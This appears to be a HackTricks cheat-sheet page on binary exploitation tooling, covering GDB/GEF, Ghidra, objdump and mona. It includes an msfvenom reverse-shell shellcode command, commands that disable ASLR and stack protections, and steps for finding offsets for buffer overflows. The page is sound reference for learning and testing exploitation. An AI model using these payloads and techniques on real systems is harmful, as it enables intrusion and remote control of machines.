# Exploiting Tools {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Metasploit ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Shellcodes ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` ## GDB ### Install ``` apt-get install gdb ``` ### Parameters ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` ### Instructions ```bash run # Execute start # Start and break in main n/next/ni # Execute next instruction (no inside) s/step/si # Execute next instruction c/continue # Continue until next breakpoint p system # Find the address of the system function set $eip = 0x12345678 # Change value of $eip help # Get help quit # exit # Disassemble disassemble main # Disassemble the function called main disassemble 0x12345678 # Disassemble taht address set disassembly-flavor intel # Use intel syntax set follow-fork-mode child/parent # Follow child/parent process # Breakpoints br func # Add breakpoint to function br *func+23 br *0x12345678 del # Delete that number of breakpoint watch EXPRESSION # Break if the value changes # info info functions --> Info abount functions info functions func --> Info of the funtion info registers --> Value of the registers bt # Backtrace Stack bt full # Detailed stack print variable print 0x87654321 - 0x12345678 # Caculate # x/examine examine/ dir_mem/reg/puntero # Shows content of in where each entry is a x/o 0xDir_hex x/2x $eip # 2Words from EIP x/2x $eip -4 # $eip - 4 x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) i r eip # Value of $eip x/w pointer # Value of the pointer x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) ```bash help memory # Get help on memory command canary # Search for canary value in memory checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings xinfo # Shows page, size, perms, memory area and offset of the addr in the page memory watch 0x784000 0x1000 byte #Add a view always showinf this memory got #Check got table memory watch $_got()+0x18 5 #Watch a part of the got table # Vulns detection format-string-helper #Detect insecure format strings heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### Tricks #### GDB same addresses While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: * `unset env LINES` * `unset env COLUMNS` * `set env _=` _Put the absolute path to the binary_ * Exploit the binary using the same absolute route * `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary #### Backtrace to find functions called When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### GDB server `gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) ## Ghidra ### Find stack offset **Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ![](<../../.gitbook/assets/image (616).png>) ## GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **-o** --> Output\ **-g** --> Save code (GDB will be able to see it)\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux **To compile a shellcode:**\ **nasm -f elf assembly.asm** --> return a ".o"\ **ld assembly.o -o shellcodeout** --> Executable ## Objdump **-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ **-Mintel** --> **Intel** syntax\ **-t** --> **Symbols** table\ **-D** --> **Disassemble all** (address of static variable)\ **-s -j .dtors** --> dtors section\ **-s -j .got** --> got section\ \-D -s -j .plt --> **plt** section **decompiled**\ **-TR** --> **Relocations**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ **objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). ## Core dumps 1. Run `ulimit -c unlimited` before starting my program 2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet ## More **ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" **strace executable** --> Functions called by the executable\ **rabin2 -i ejecutable -->** Address of all the functions ## **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` ## IDA ### Debugging in remote linux Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: ``` ./linux_server64 -Ppass ``` Then, configure the debugger: Debugger (linux remote) --> Proccess options...: ![](<../../.gitbook/assets/image (101).png>) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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